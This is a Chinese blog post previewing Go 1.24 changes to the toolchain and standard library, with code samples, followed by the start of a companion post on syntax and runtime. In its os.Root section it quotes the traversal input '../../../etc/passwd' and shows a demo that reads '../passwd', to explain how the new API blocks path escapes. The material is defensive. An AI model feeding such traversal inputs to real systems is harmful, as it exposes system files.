get无法直接工作，因为go get使用的是net/http.DefaultClient，它不知道如何处理需要身份验证的URL。具体来说，当go get尝试获取一个私有仓库的URL时，由于没有提供身份验证信息，服务器会返回401或403错误，导致go get无法继续执行。这个问题在企业环境中尤为常见，因为许多公司使用私有代码托管服务，而这些服务通常需要身份验证。\nissue 26232为上述情况提供了一种方案，让go get能够支持需要身份验证的私有仓库，使得用户可以通过go get命令获取私有仓库中的代码：\n$go get git.mycompany.com/private-repo 即使https://git.mycompany.com/private-repo需要身份验证，go get也能够正常工作。\n方案采用了一种类似于Git凭证助手的机制，并通过新增的Go环境变量GOAUTH来指定一个或多个认证命令。go get在执行时会调用这些命令，获取身份验证信息，并在后续的HTTP请求中使用这些信息。\nGOAUTH环境变量可以包含一个或多个认证命令，每个命令由空格分隔的参数列表组成，命令之间用分号分隔。go get会在每次需要进行HTTP请求时，首先检查缓存中的认证信息，如果没有匹配的认证信息，则会调用GOAUTH命令来获取新的认证信息。\n通过go help goauth可以查看GOAUTH的详细用法，在Go 1.24中它支持如下认证命令：\noff：禁用GOAUTH功能 netrc：从NETRC或用户主目录中的.netrc文件中获取访问凭证，这也是GOAUTH的默认值。 git dir：在指定目录dir中运行git credential fill并使用其凭证。go命令将运行git credential approve/reject来更新凭证助手的缓存。 command：执行给定的命令（以空格分隔的参数列表），并将提供的头信息附加到 HTTPS 请求中。该命令必须按照以下格式生成输出： Response = { CredentialSet } . CredentialSet = URLLine { URLLine } BlankLine { HeaderLine } BlankLine . URLLine = /* URL that starts with \u0026#34;https://\u0026#34; */ \u0026#39;\\n\u0026#39; . HeaderLine = /* HTTP Request header */ \u0026#39;\\n\u0026#39; . BlankLine = \u0026#39;\\n\u0026#39; . 1.6 go build支持-json(#62067) Go 1.24版本之前，Go已经支持了go test -json命令，旨在为测试过程提供结构化的JSON输出，便于工具解析和处理测试结果。然而，当测试或导入的包在构建过程中失败时，构建错误信息会与测试的JSON输出交织在一起，导致工具难以准确地将构建错误与受影响的测试包关联起来。这增加了工具处理go test -json输出的复杂性。\n为了解决这个问题，issue 62067提出了为go build命令(包括go install)添加-json标志的建议，以便生成与go test -json兼容的结构化JSON输出。go test -json也得到了优化，现在在test时出现构建错误时，go test -json也会以json格式输出构建错误信息，与test结果的json内容可以很好的融合在一起。当然，你也可以通过GODEBUG=gotestjsonbuildtext=1继续让go test -json输出文本格式的构建错误信息，以保持与Go 1.24之前的情况一致。\n2. 标准库 Go标准库向来是添加新特性的大户，不过鉴于变化太多，下面我们仅列举一些主要的变化点。\n2.1 json包支持omitzero选项 关于这个变化点，我在《JSON包新提案：用“omitzero”解决编码中的空值困局》一文中有详细说明，请移步阅读，这里不赘述了。\n2.2 新增weak包和weak指针 weak包和weak指针是Go团队在设计和实现unique包时的“副产物”，Go团队认为weak指针可以给大家带来更灵活的内存管理机制，于是将其从internal中提到标准库中。我之前的《Go weak包前瞻：弱指针为内存管理带来新选择》一文对weak包有详细说明，请移步阅读。\n2.3 crypto: FIPS 140-3认证 在Go 1.24开发周期中，Go密码学小组与Russ Cox根据开发者日益增多的密码学合规性(满足FIPS 140)的需求反馈，决定对Go的加密库进行改造，以符合申请进行FIPS 140标准认证的要求。有关这个认证的issue和改动点(cl)都很多，大家可以阅读我的《走向合规：Go加密库对FIPS 140的支持》一文了解详情。\n2.4 crypto：增加hkdf、pbkdf2、sha3等密码学包 读过我的《Go开发者的密码学导航：crypto库使用指南》一文的读者都知道：Go密码学团队维护的密码学包分布在Go标准库crypto目录和golang.org/x/crypto下面。Go密码学小组负责人Roland Shoemaker认为当前这种”分割”的状态会带来一些问题：\n用户困惑：用户经常对为什么某些加密库在x/crypto模块中，而另一些在标准库中感到困惑。这种困惑可能导致用户不愿意依赖x/crypto模块中的代码，因为他们误以为x/crypto中的代码是“实验性”的，质量或API稳定性不如标准库。 复杂的安全补丁流程：标准库依赖于x/crypto模块中的多个包（目前有7个），这些包需要被vendored。这种依赖关系增加了安全补丁的复杂性，因为需要一个特殊的第三方流程来处理这些包的补丁，而不是像标准库或x/crypto模块那样直接处理。 开发周期不一致：理论上，x/crypto模块是一个可以快速开发新加密算法或协议的地方，因为这些算法或协议的规范可能还在变化中。然而，实际上，x/crypto模块并没有被这样使用。如果开始这样做，反而会强化用户对x/crypto模块的误解。 特定包的快速开发需求：例如x/crypto/ssh包最近经历了非常快速的开发，许多用户希望立即使用新引入的功能和修复。如果将这个包移入标准库，可能会因为标准库的发布周期较慢而产生摩擦。 为此Shoemaker提议了一个将x/crypto下的包到标准库crypto目录下的方案，以简化Go语言加密库的管理和维护，提高用户对这些库的信任和使用率，方案的大致思路和步骤如下：\n将x/crypto模块中的大部分包直接迁移到标准库的crypto/目录下，迁移过程应在单个标准库发布周期内完成，尽量接近发布周期的末尾，以避免需要同步两个版本的包。 迁移后，冻结x/crypto模块和标准库中的对应包，直到标准库重新开放，只接受标准库版本的更改。 使用构建标签（build tags）来区分迁移前后的版本，允许用户在不更新到最新Go版本的情况下继续使用x/crypto模块。 在迁移后的两个主要版本中（例如，假设在Go 1.24中完成迁移，则在Go 1.26中），移除旧的构建标签实现，只保留转发到标准库版本的包装器。 一些包由于其更新周期与标准库不一致，或者已经冻结/弃用，将不会迁移到标准库中。例如，x/crypto/x509roots包需要根据任意时间表进行更新，因此应移至独立的模块golang.org/x/x509roots。 一些已经弃用或冻结的包（如twofish、cast5、tea等）将保留在x/crypto模块中，并在v1版本中标记为冻结。 x/crypto/ssh包由于其快速的开发周期，可能会在迁移时带来一些麻烦。虽然可以考虑将其推迟迁移，但最终仍建议将其移入标准库。 基于上述方案，Go 1.24版本中，Go密码学团队完成了hkdf、pbkdf2、sha3和mlkem等包的迁移。当然这次迁移与Go密码学包要进行FIPS 140-3认证也有着直接的联系。\n这里面值得一提的是mklem包，它实现了NIST FIPS 203中指定的抗量子密钥封装方法ML-KEM（以前称为Kyber），也是Go密码学包中第一个后量子密码学包。\n2.5 支持限制目录的文件系统访问(#67002) 目录遍历漏洞（Directory Traversal Vulnerabilities）和符号链接遍历漏洞（Symlink Traversal Vulnerabilities）是常见的安全漏洞。攻击者通过提供相对路径（如”../../../etc/passwd”）或创建符号链接，诱使程序访问其本不应访问的文件，从而导致安全问题。例如，CVE-2024-3400 是一个最近的真实案例，展示了目录遍历漏洞如何导致远程代码执行。\n在Go中，虽然可以通过 filepath.IsLocal等函数来验证文件名，但防御符号链接遍历攻击较为困难。现有的os.Open和os.Create等函数在处理不受信任的文件名时，容易受到这些攻击的影响。\n为了解决这些问题，issue 67002提出了在os包中添加几个新的函数和方法，以安全地打开文件并防止目录遍历和符号链接遍历攻击。\n最初该提案提出新增一些安全访问文件系统的API函数，在讨论过程中，Russ Cox 提出了一个更为简洁的方案，避免了引入大量新的 API，而是通过引入一个新的类型 Dir 来表示受限的文件系统根目录。这个方案最终奠定了该提案的最终实现。\n最终Go在os包中引入了一个新的Root类型，并基于该类型提供了在特定目录内执行文件系统操作的能力。os.OpenRoot函数打开一个目录并返回一个os.Root。os.Root上的方法仅限于在该目录内操作，并且不允许路径引用目录外的位置，包括跟随符号链接指向目录外的路径。下面是一些Root类型的常用方法：\nos.Root.Open 打开一个文件以供读取。 os.Root.Create 创建一个文件。 os.Root.OpenFile 是通用的打开调用。 os.Root.Mkdir 创建一个目录。 下面我们用一个示例对比一下通过os.Root进行的文件系统操作与传统文件系统操作的差异：\n// go1.24-foresight/stdlib/osroot/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { // 使用 os.Root 访问相对路径 root, err := os.OpenRoot(\u0026#34;.\u0026#34;) // 打开当前目录作为根目录 if err != nil { fmt.Println(\u0026#34;Error opening root:\u0026#34;, err) return } defer root.Close() // 尝试访问相对路径 \u0026#34;../passwd\u0026#34; file, err := root.Open(\u0026#34;../passwd\u0026#34;) if err != nil { fmt.Println(\u0026#34;Error opening file with os.Root:\u0026#34;, err) } else { fmt.Println(\u0026#34;Successfully opened file with os.Root\u0026#34;) file.Close() } // 传统的 os.OpenFile 方式 // 尝试访问相对路径 \u0026#34;../passwd\u0026#34; file2, err := os.OpenFile(\u0026#34;../passwd\u0026#34;, os.O_RDONLY, 0644) if err != nil { fmt.Println(\u0026#34;Error opening file with os.OpenFile:\u0026#34;, err) } else { fmt.Println(\u0026#34;Successfully opened file with os.OpenFile\u0026#34;) file2.Close() } } 运行上述代码，我们得到：\n$gotip run main.go Error opening file with os.Root: openat ../passwd: path escapes from parent Successfully opened file with os.OpenFile 我们看到：当代码通过os.Root返回的目录来尝试访问相对路径”../passwd”时，由于os.Root限制了操作仅限于根目录内，因此会返回错误。\n从安全角度来看，Go 1.24之后，建议搭建多多使用这种安全操作文件系统的方式，如果你的文件操作都局限在一个目录下。\n2.6 使用runtime.AddCleanup替代SetFinalizer(#67535) Go 1.24版本之前，Go提供了runtime.SetFinalizer函数用于对象的终结处理。然而，SetFinalizer的使用存在许多问题和限制，Michael Knyszek总结了下面几点：\n必须引用分配的第一个字：SetFinalizer必须引用分配的第一个字，这要求程序员了解什么是“分配”，而这一概念在语言中通常不暴露。 每个对象只能有一个终结器：不能为同一个对象设置多个终结器。 引用循环问题：如果对象参与了引用循环，且该对象有终结器，那么该对象将不会被释放，终结器也不会运行。 GC周期问题：有终结器的对象至少需要两个GC周期才能被释放。 后面两个问题主要源于SetFinalizer允许对象复活（object resurrection），这使得对象的清理变得复杂且不可靠。\n为了解决上述问题，，Michael Knyszek提出了一个新的API runtime.AddCleanup，并建议正式弃用runtime.SetFinalizer。AddCleanup的设计目标是解决SetFinalizer的诸多问题，特别是避免对象复活，从而允许对象的及时清理，并支持对象的循环清理。\nAddCleanup函数的原型如下：\nfunc AddCleanup[T, S any](ptr *T, cleanup func(S), arg S) Cleanup AddCleanup函数将一个清理函数附加到ptr。当ptr不再可达时，运行时会在一个单独的goroutine中调用 cleanup(arg)。\nAddCleanup的一个典型的用法如下：\nf, _ := Open(...) runtime.AddCleanup(f, func(fd uintptr) { syscall.Close(fd) }, f.Fd()) 通常，ptr是一个包装底层资源的对象（例如上面典型用法中的那个包装操作系统文件描述符的File对象），arg是底层资源（例如操作系统文件描述符），而清理函数释放底层资源（例如，通过调用close系统调用）。\nAddCleanup对ptr的约束很少，支持为同一个指针附加多个清理函数。不过，如果ptr可以从cleanup或arg中可达，ptr将永远不会被回收，清理函数也永远不会运行。作为一种简单的保护措施，如果arg等于ptr，AddCleanup会引发panic。清理函数的运行顺序没有指定。特别是，如果几个对象相互指向并且同时变得不可达，它们的清理函数都可以运行，并且可以以任何顺序运行。即使对象形成一个循环也是如此。\ncleanup(arg)调用并不总是保证运行，特别是它不保证在程序退出之前能运行。\n清理函数可能在对象变得不可达时立即运行。为了正确使用清理函数，程序必须确保对象在清理函数安全运行之前保持可达。存储在全局变量中的对象，或者可以通过从全局变量跟踪指针找到的对象，是可达的。函数参数或方法接收者可能在函数最后一次提到它的地方变得不可达。为了确保清理函数不会过早调用，我们可以将对象传递给KeepAlive函数，以保证对象在保持可达的最后一个点之后依然可达。\n到这里，也许一些读者想到了RAII(Resource Acquisition Is Initialization），RAII的核心思想是将资源的获取和释放与对象的生命周期绑定在一起，从而确保资源在对象不再使用时能够被正确释放。似乎AddCleanup可以用于实现Go版本的RAII，下面是一个示例：\n// go1.24-foresight/stdlib/addcleanup/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;syscall\u0026#34; \u0026#34;time\u0026#34; ) type FileResource struct { file *os.File } func NewFileResource(filename string) (*FileResource, error) { file, err := os.Open(filename) if err != nil { return nil, err } // 使用 AddCleanup 注册清理函数 fd := file.Fd() runtime.AddCleanup(file, func(fd uintptr) { fmt.Println(\u0026#34;Closing file descriptor:\u0026#34;, fd) syscall.Close(int(fd)) }, fd) return \u0026amp;FileResource{file: file}, nil } func main() { fileResource, err := NewFileResource(\u0026#34;example.txt\u0026#34;) if err != nil { fmt.Println(\u0026#34;Error opening file:\u0026#34;, err) return } // 模拟使用 fileResource _ = fileResource fmt.Println(\u0026#34;File opened successfully\u0026#34;) // 当 fileResource 不再被引用时，AddCleanup 会自动关闭文件 fileResource = nil runtime.GC() // 强制触发 GC，以便清理 fileResource time.Sleep(time.Second * 5) } 运行上述代码得到如下结果：\n$gotip run main.go File opened successfully Closing file descriptor: 3 的确，在Go中，runtime.AddCleanup可以用来模拟RAII机制，但与传统的RAII有一些不同，在Go中，资源获取通常是通过显式的函数调用来完成的，例如打开文件等，而不是像C++那样在构造函数中隐式完成。并且，资源的释放由Go GC回收对象时触发。如果要实现C++那样的RAII，需要我们自行做一些封装。\n2.7 不易出错的新Benchmark函数(#61515) 在Go语言中，基准测试（benchmarking）是通过testing.B类型的b.N来实现的。b.N表示基准测试需要执行的迭代次数。然而，这种设计存在一些问题：\n容易忘记使用b.N：在某些情况下，开发者可能会忘记使用b.N，导致基准测试无法正确执行。 误用b.N：开发者可能会错误地将b.N用于其他目的，例如调整算法输入的大小，而不是作为迭代次数。 复杂的计时器管理：基准测试框架无法知道b.N循环何时开始，因此如果基准测试有复杂的设置（setup），开发者需要手动调用ResetTimer来重置计时器，这提高了开发人员使用benchmark函数的门槛，还非常容易出错。 为了解决上述问题，Austin Clements提议在testing.B中添加一个新的方法Loop，并鼓励开发者使用Loop而不是b.N：\nfunc (b *B) Loop() bool func Benchmark(b *testing.B) { ...(setup) for b.Loop() { // … benchmark body … } ...(cleanup) } 显然新Loop方法以及基于新Loopfang方法的“新Benchmark”函数有如下优点：\n避免误用b.N：Loop方法明确地用于基准测试的迭代，开发者无法将其用于其他目的。 自动计时器管理：基准测试框架可以仅记录发生在基准测试操作期间(即for循环内部)的时间和其他指标，因此开发者不再需要手动调用ResetTimer或担心setup的复杂性了。 减少重复设置：Loop方法可以在内部处理迭代启动（ramp-up），这意味着基准测试之前的setup只会执行一次，而不是在每次启动步骤中重复执行。这对于具有复杂设置的基准测试来说，可以节省大量时间。 防止编译器优化：对go编译器来说，Loop方法本身就是一个的明显信号，可阻止某些优化（如内联），以确保基准测试结果的有效性。 支持更丰富的统计分析：将来，Loop方法可以收集值分布而不是仅仅平均值，从而提供更深入的基准测试结果分析。 这里也强烈建议大家在Go 1.24及以后版本中，使用基于B.Loop的新基准测试函数。\n2.8 增加实验包testing/synctest(#69687) 在Go语言中，测试并发代码一直是一个具有挑战性的任务。传统的测试方法通常依赖于真实的系统时钟和同步机制，这会导致测试变得缓慢且容易出现不确定性（即“flaky”测试）。例如，测试一个带有超时机制的并发缓存时，测试代码可能需要等待几秒钟来验证缓存条目是否在预期时间内过期。这种等待不仅增加了测试的执行时间，还可能导致测试在某些情况下失败，尤其是在CI系统负载较高或执行环境不稳定的情况下。\n为了解决这些问题，Go社区提出了一个新的testing/synctest包，旨在简化并发代码的测试。该包的核心思想是通过使用虚拟时钟和goroutine组(也称为气泡(bubble)来控制并发代码的执行，从而使测试既快速又可靠。下面是synctest包的API：\nfunc Run(f func()) { synctest.Run(f) } func Wait() { synctest.Wait() } 我们看到synctest包对外仅暴露两个公开函数。\nRun函数在一个新的goroutine中执行f函数，并创建一个独立的goroutine组（气泡），确保所有相关的goroutine都在虚拟时钟的控制下执行。气泡内的goroutine不能与气泡外的goroutine直接交互，否则会引发panic。如果所有goroutine都被阻塞且没有定时器被调度，Run会引发panic。Run 会在气泡中的所有goroutine退出后返回。\nWait函数调用后将阻塞，直到当前气泡中的所有其他goroutine都处于持久阻塞状态。该函数用于确保在虚拟时间推进后，所有相关的goroutine都已经完成其工作。即确保在测试继续之前所有后台goroutine都已空闲或退出。如果从非气泡的goroutine调用Wait，或者同一气泡中的两个goroutine同时调用Wait，会引发panic。阻塞在系统调用或外部事件（如网络操作）的goroutine不是持久阻塞的，Wait不会等待这些goroutine。\n这里再明确一下上面API说明中提到的各种概念：\ngoroutine组（气泡） Run函数创建的goroutine及其间接启动的所有goroutine形成一个独立的“气泡”。气泡内的goroutine使用虚拟时钟，并且气泡内的所有操作（如通道、定时器等）都与该气泡关联。气泡内的goroutine不能与气泡外的goroutine直接交互。\n虚拟时钟 虚拟时钟的初始时间为2000-01-01 00:00:00 UTC。每个气泡有一个虚拟时钟，它只有在所有goroutine都处于阻塞状态时才会推进。这意味着测试代码可以精确控制时间的流逝，而不会受到真实系统时钟的限制。\n持久阻塞 一个goroutine如果只能被气泡内的另一个goroutine解除阻塞，则称其为持久阻塞。以下操作会使goroutine持久阻塞：\n- 在气泡内向通道发送或接收数据 - 在select语句中，每个case都是气泡内的通道 - sync.Cond.Wait - time.Sleep 下面是一个使用testing/synctest进行测试的简单示例，我们有一个Cache结构：\n// go1.24-foresight/stdlib/synctest/cache.go package main import ( \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) // Cache 是一个泛型并发缓存，支持任意类型的键和值。 type Cache[K comparable, V any] struct { mu sync.Mutex items map[K]cacheItem[V] expiry time.Duration creator func(K) V } // cacheItem 是缓存中的单个条目，包含值和过期时间。 type cacheItem[V any] struct { value V expiresAt time.Time } // NewCache 创建一个新的缓存，带有指定的过期时间和创建新条目的函数。 func NewCache[K comparable, V any](expiry time.Duration, f func(K) V) *Cache[K, V] { return \u0026amp;Cache[K, V]{ items: make(map[K]cacheItem[V]), expiry: expiry, creator: f, } } // Get 返回缓存中指定键的值，如果键不存在或已过期，则创建新条目。 func (c *Cache[K, V]) Get(key K) V { c.mu.Lock() defer c.mu.Unlock() // 检查缓存中是否存在该键 item, exists := c.items[key] // 如果键存在且未过期，返回缓存的值 if exists \u0026amp;\u0026amp; time.Now().Before(item.expiresAt) { return item.value } // 如果键不存在或已过期，创建新条目 value := c.creator(key) c.items[key] = cacheItem[V]{ value: value, expiresAt: time.Now().Add(c.expiry), } return value } 上述代码实现了一个简单的并发缓存，支持泛型键和值，并且具有过期机制。通过使用sync.Mutex来保护对缓存条目的并发访问，确保了线程安全。Get方法在键不存在或已过期时，会调用creator函数创建新条目，并更新缓存。\n下面是对上面Cache结构进行并发测试的代码：\n// go1.24-foresight/stdlib/synctest/cache_test.go package main import ( \u0026#34;testing\u0026#34; \u0026#34;testing/synctest\u0026#34; \u0026#34;time\u0026#34; ) func TestCacheEntryExpires(t *testing.T) { synctest.Run(func() { count := 0 c := NewCache(2*time.Second, func(key string) int { count++ return count }) // Get an entry from the cache. if got, want := c.Get(\u0026#34;k\u0026#34;), 1; got != want { t.Errorf(\u0026#34;c.Get(k) = %v, want %v\u0026#34;, got, want) } // Verify that we get the same entry when accessing it before the expiry. time.Sleep(1 * time.Second) synctest.Wait() if got, want := c.Get(\u0026#34;k\u0026#34;), 1; got != want { t.Errorf(\u0026#34;c.Get(k) = %v, want %v\u0026#34;, got, want) } // Wait for the entry to expire and verify that we now get a new one. time.Sleep(3 * time.Second) synctest.Wait() if got, want := c.Get(\u0026#34;k\u0026#34;), 2; got != want { t.Errorf(\u0026#34;c.Get(k) = %v, want %v\u0026#34;, got, want) } }) } 通过使用synctest.Run和synctest.Wait，上述测试代码能够在虚拟时钟的控制下验证Cache的过期机制。synctest.Run创建了一个独立的goroutine组，确保所有相关的goroutine都在虚拟时钟的控制下执行。synctest.Wait确保在虚拟时间推进后，所有相关的goroutine都已经完成其工作。\n使用gotip执行该测试：\n$GOEXPERIMENT=synctest gotip test -v === RUN TestCacheEntryExpires --- PASS: TestCacheEntryExpires (0.00s) PASS ok demo 0.002s 我们可以瞬间得到结果，而无需等待代码中的Sleep秒数。\n2.9 其他一些变化 log/slog: 增加slog.DiscardHandler(#62005) slog包添加包级变量slog.DiscardHandler （类型为slog.Handler ），它将丢弃所有日志输出。\nbytes和strings增加一些iterator(#61901) 下面是五个返回迭代器的新增函数，以strings包为例：\n- func Lines(s string) iter.Seq[string] 返回一个迭代器，遍历字符串s中以换行符结尾的行。 - func SplitSeq(s, sep string) iter.Seq[string] 返回一个迭代器，遍历s中由sep分隔的所有子字符串。 - func SplitAfterSeq(s, sep string) iter.Seq[string] 返回一个迭代器，遍历s中在每个sep实例之后分割的子字符串。 - func FieldsSeq(s string) iter.Seq[string] 返回一个迭代器，遍历s中由空白字符（由unicode.IsSpace定义）分隔的子字符串。 - func FieldsFuncSeq(s string, f func(rune) bool) iter.Seq[string] 返回一个迭代器，遍历s中由满足f(c)的Unicode码点分隔的子字符串。 sync.Map的底层实现换成了HashTrieMap(#70683) 和weak包一样，HashTrieMap同样是实现unique包的副产品，但它的性能很好，在很多情况下都要比sync.Map快很多。于是Michael Knyszek使用HashTrieMap替换了sync.Map的底层实现。\n当然，如果你不满意HashTrieMap的表现，你也可以使用GOEXPERIMENT=nosynchashtriemap恢复到sync.Map之前的实现。\nnet/http: 支持非加密的http/2(#67816) 在Go语言的net/http包中，HTTP/2的支持默认是通过TLS加密的连接来实现的，通常称为”h2″。然而，HTTP/2也可以在不加密的TCP连接上运行，这种模式被称为”h2c”（HTTP/2 Clear Text）。尽管golang.org/x/net/http2/h2c包提供了对h2c的支持，但这种支持并不直接集成到net/http包中，导致用户在使用h2c时需要进行复杂的配置和处理。因此，社区提出了将h2c支持直接集成到net/http包中的issue，以简化用户的使用体验。\n直接集成h2c支持后，将使得Go语言的HTTP/2功能更加完整，用户可以更方便地在未加密的连接上使用HTTP/2。\n3. 其它 3.1 支持go:wasmexport指示符(#65199) Go语言在WebAssembly（Wasm）的支持方面已经有了一定的进展，特别是在Go 1.21版本引入了go:wasmimport指示符，使得Go代码可以调用Wasm宿主定义的函数。然而，目前仍然无法从Wasm宿主调用Go代码。这对于一些需要扩展功能的应用来说是一个限制，例如Envoy、Istio、VS Code等应用，它们允许通过调用Wasm编译的代码来扩展功能。但Go目前无法支持这些应用，因为Go编译的Wasm模块中唯一导出的函数是_start，对应于main包中的main函数。\n但Go社区对导出Go函数为wasm有着迫切的需求，同时，导出函数到Wasm宿主也是实现GOOS=wasip2的必要条件(wasip2是WASI规范的预览2版本)。\n于是issue 65199给出了导出Go函数到Wasm的落地方案。该issue提议在库模式下(即导出的Go函数供其他基于wasm运行时库开发的应用使用)，重用-buildmode构建标志值c-shared，用于wasip1。它现在向编译器发出信号，要求用_initialize函数替换_start函数，该函数执行运行时和包的初始化：\n$gotip help buildmode ... ... -buildmode=c-shared Build the listed main package, plus all packages it imports, into a C shared library. The only callable symbols will be those functions exported using a cgo //export comment. On wasip1, this mode builds it to a WASI reactor/library, of which the callable symbols are those functions exported using a //go:wasmexport directive. Requires exactly one main package to be listed. ... ... 新增一个编译器指示符go:wasmexport，用于向编译器发出信号，表明某个函数应该使用Wasm导出（Wasm export），在生成的Wasm二进制文件中导出。该指示符只能在GOOS=wasip1时使用，否则会导致编译失败。\n//go:wasmexport name 其中name是导出函数的名称，该参数是必需的。该指示符只能用于函数，不能用于方法。\n该issue由Johan Brandhorst提出，但最终是由CherryMui给出了最终实现，并且CherryMui还给出了一个应用go:wasmexport的example，这个example演示了go:wasmexport在库模式下的应用方法。例子代码较多，这里我做了一个裁剪，下面是裁剪后的代码和使用方法，大家可以参考一下。\n示例的结构如下：\n$tree -F ./wasmtest ./wasmtest ├── Makefile ├── go.mod ├── go.sum ├── testprog/ │ └── x.go └── w.go 其中testprog/x.go中导出了一个Add函数：\n// go1.24-foresight/wasmtest/testprog/x.go package main func init() { println(\u0026#34;init function called\u0026#34;) } //go:wasmexport Add func Add(a, b int64) int64 { return a+b } func main() { println(\u0026#34;hello\u0026#34;) } 我们将x.go编译为x.wasm文件：\n$GOARCH=wasm GOOS=wasip1 gotip build -buildmode=c-shared -o x.wasm ./testprog 然后在w.go中使用x.wasm中的Add函数：\n// go1.24-foresight/wasmtest/w.go package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;github.com/tetratelabs/wazero\u0026#34; \u0026#34;github.com/tetratelabs/wazero/api\u0026#34; \u0026#34;github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1\u0026#34; ) func main() { ctx := context.Background() r := wazero.NewRuntime(ctx) defer r.Close(ctx) buf, err := os.ReadFile(os.Args[1]) if err != nil { panic(err) } config := wazero.NewModuleConfig(). WithStdout(os.Stdout).WithStderr(os.Stderr). WithStartFunctions() // don\u0026#39;t call _start wasi_snapshot_preview1.MustInstantiate(ctx, r) m, err := r.InstantiateWithConfig(ctx, buf, config) if err != nil { panic(err) } // get export functions from the module F := func(a int64, b int64) int64 { exp := m.ExportedFunction(\u0026#34;Add\u0026#34;) r, err := exp.Call(ctx, api.EncodeI64(a), api.EncodeI64(b)) if err != nil { panic(err) } rr := int64(r[0]) fmt.Printf(\u0026#34;host: Add %d + %d = %d\\n\u0026#34;, a,b,rr) return rr } // Library mode. entry := m.ExportedFunction(\u0026#34;_initialize\u0026#34;) fmt.Println(\u0026#34;Library mode: initialize\u0026#34;) _, err = entry.Call(ctx) if err != nil { panic(err) } fmt.Println(\u0026#34;\\nLibrary mode: call export functions\u0026#34;) println(F(5,6)) } 运行上述w.go，我们将得到以下预期结果：\n$gotip run w.go ./x.wasm Library mode: initialize init function called Library mode: call export functions host: Add 5 + 6 = 11 11 3.2 移植(porting) Linux：要求内核版本不低于3.2。 macOS：Go 1.24是支持macOS 11 Big Sur的最后一个版本。 Windows：提升对Nano Server和内置服务帐户的支持，并修复域环境中的性能问题。 支持的Unicode版本升级到15.1.0。 4. 小结 本文详细介绍了即将发布的Go 1.24版本在工具链和标准库方面的重要新特性。这些新特性不仅简化了工具的使用，提升了开发体验，还增强了标准库的功能和安全性，特别是在加密、并发测试等方面。通过这些改进，Go语言将继续朝着更高效、更安全、更易用的方向发展。\n本文涉及的源码可以在这里下载。\n5. 参考资料 Go 1.24 milestone – https://github.com/golang/go/milestone/322 Go 1.24 Release Notes Draft – https://tip.golang.org/doc/go1.24 Go Release Dashboard – https://dev.golang.org/release Go spec tip – https://tip.golang.org/ref/spec Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/17/go-1-24-foresight-part2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-24-foresight-part2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/17/go-1-24-foresight-part2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/17/go-1-24-foresight-part2\"\u003ehttps://tonybai.com/2024/12/17/go-1-24-foresight-part2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2024/12/16/go-1-24-foresight-part1/\"\u003e上一篇文章\u003c/a\u003e中，我们介绍了即将于2025年2月发布的Go 1.24版本在语法、编译器和运行时方面的主要变化。本文将继续承接上文，重点介绍Go 1.24在工具链和标准库方面的重要更新，供大家参考。\u003c/p\u003e","title":"Go 1.24新特性前瞻：工具链和标准库"},{"content":"Go 1.24新特性前瞻：语法、编译器与运行时 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go 1.24新特性前瞻：语法、编译器与运行时 十二月 16, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/12/16/go-1-24-foresight-part1\n自2020年底撰写《Go 1.16版本新特性前瞻》以来，四年转瞬而逝。在这段时间里，每当Go的大版本开发进入新特性冻结(freeze)阶段，我都会为大家带来该版本的特性前瞻，旨在让大家更早地了解和实验这些新特性，从而在版本正式发布时能够准确评估是否应用它们。\n11月末，Go 1.24的新特性开发已经冻结，我认为是时候对Go 1.24新特性进行前瞻了。本次前瞻将分为两篇进行，本文，也就是第一篇将讲解语法、编译器与运行时方面的变化，而第二篇将聚焦工具链和标准库。本次前瞻可以引导大家了解即将在明年3月份发布的Go 1.24版本中的重要变化，希望能给大家带去帮助。\n注：Go每六个月发布一次。每个发布周期都分为持续约4个月的开发阶段，然后是为期3个月的测试和完善阶段（称为发布冻结期）。当前的发布周期预计于每年一月中旬和七月中旬开始，如下图所示。以Go 1.24为例，2024年7月开始plan，经过4个月开发，11月下旬冻结，再经历3个月的测试完善，预计2025年2月发布。\n图来自go.dev/wiki/Go-Release-Cycle\n注：大家可以使用Go playground体验dev branch的最新特性，或在本地安装GoTip版本进行体验。2024年12月14日，Go 1.24RC1版本发布，大家也可以直接用go install golang.org/dl/go1.24rc1@latest体验，或到Go官方下载站unstable version中直接下载安装。\n1. 语法 Go 1.18引入了泛型，Go 1.21版本新增了max、min和clear等预定义函数，而Go 1.23版本则引入了自定义迭代器。与这些创新相比，Go 